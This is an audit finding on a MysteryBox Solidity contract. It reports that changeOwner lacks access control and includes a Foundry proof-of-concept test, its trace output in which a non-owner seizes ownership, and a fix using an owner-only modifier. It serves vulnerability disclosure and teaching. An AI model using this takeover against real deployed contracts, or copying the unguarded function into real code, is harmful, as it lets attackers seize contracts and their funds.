Summary
The changeOwner function in the MysteryBox contract lacks proper access control, allowing any user to change the contract's ownership. This vulnerability poses a significant security risk, as it enables unauthorized users to assume control over the contract and its assets.
Vulnerability Details
https://github.com/Cyfrin/2024-09-mystery-box/blob/281a3e35761a171ba134e574473565a1afb56b68/src/MysteryBox.sol#L111-L113
The changeOwner function does not implement any access control checks, such as verifying that the caller is the current owner. This allows any address to call the function and set themselves or another address as the new owner.
function changeOwner(address _newOwner) public {
owner = _newOwner;
}
The function is defined without any access restrictions, meaning it can be invoked by any address at any time.
Exploit:
A malicious actor can call changeOwner to set themselves as the owner, gaining full control over the contract. This includes the ability to withdraw funds, modify contract parameters, and disrupt the contract's intended operations.
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "../src/MysteryBox.sol";
contract TestChangeOwner is Test {
MysteryBox mysteryBox;
address originalOwner;
address newOwner = address(0x1234);
function setUp() public {
mysteryBox = new MysteryBox{value: 0.1 ether}();
originalOwner = mysteryBox.owner();
}
function testChangeOwnerByNonOwner() public {
assertEq(mysteryBox.owner(), originalOwner);
vm.prank(newOwner);
mysteryBox.changeOwner(newOwner);
assertEq(mysteryBox.owner(), newOwner);
}
}
forge test --match-path test/TestChangeOwner.t.sol -vvvv
[⠊] Compiling...
[⠒] Compiling 1 files with Solc 0.8.26
[⠘] Solc 0.8.26 finished in 1.50s
Compiler run successful!
Ran 1 test for test/TestChangeOwner.t.sol:TestChangeOwner
[PASS] testChangeOwnerByNonOwner() (gas: 20719)
Traces:
[20719] TestChangeOwner::testChangeOwnerByNonOwner()
├─ [2404] MysteryBox::owner() [staticcall]
│ └─ ← [Return] TestChangeOwner: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]
├─ [0] VM::assertEq(TestChangeOwner: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496], TestChangeOwner: [0x7FA9385bE102ac3EAc297483Dd6
233D62b3e1496]) [staticcall] │ └─ ← [Return]
├─ [0] VM::prank(0x0000000000000000000000000000000000001234)
│ └─ ← [Return]
├─ [3381] MysteryBox::changeOwner(0x0000000000000000000000000000000000001234)
│ └─ ← [Stop]
├─ [404] MysteryBox::owner() [staticcall]
│ └─ ← [Return] 0x0000000000000000000000000000000000001234
├─ [0] VM::assertEq(0x0000000000000000000000000000000000001234, 0x0000000000000000000000000000000000001234) [staticcall]
│ └─ ← [Return]
└─ ← [Stop]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 54.99ms (11.41ms CPU time)
Ran 1 test suite in 400.85ms (54.99ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Impact
The original owner loses control over the contract, including the ability to manage funds and settings.
Tools Used
Recommendations
Use a modifier to restrict access to the changeOwner function, ensuring only the current owner can execute it.
